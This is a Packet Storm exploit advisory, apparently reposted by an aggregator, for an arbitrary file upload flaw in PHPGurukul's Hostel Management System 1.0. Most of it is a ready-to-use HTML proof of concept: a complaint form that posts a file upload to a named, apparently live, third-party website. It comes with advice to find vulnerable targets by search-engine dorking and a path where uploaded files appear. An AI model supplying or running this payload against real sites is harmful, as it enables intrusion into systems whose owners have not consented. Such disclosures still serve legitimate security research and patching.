2024-9-2 23:48:5 Author: packetstormsecurity.com(查看原文) 阅读量:2 收藏
=============================================================================================================================================
| # Title : hostel management system 1.0 arbitrary file upload Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |
| # Vendor : https://phpgurukul.com/hostel-management-system/ |
=============================================================================================================================================poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] Line : 9 Set your Target
[+] Save As poc.html
[+] payload :
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Complaint Form</title>
</head>
<body>
<form name="complaint" action="https://guardianpg.in/hostel/register-complaint.php" method="POST" enctype="multipart/form-data">
<label for="ctype">Complaint Type:</label>
<select name="ctype" id="ctype">
<option value="type1">Type 1</option>
<option value="type2">Type 2</option>
<option value="type3">Type 3</option>
</select><br><br>
<label for="cdetails">Complaint Details:</label><br>
<textarea name="cdetails" id="cdetails" rows="4" cols="50"></textarea><br><br>
<label for="image">Upload Image:</label>
<input type="file" name="image" id="image"><br><br>
<input type="submit" name="submit" value="Submit Complaint">
</form>
</body>
</html>
[+] your Files : http://127.0.0.1/Hostel-Management-Syste-Updated-Code/hostel/comnplaintdoc/
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
如有侵权请联系:admin#unsafe.sh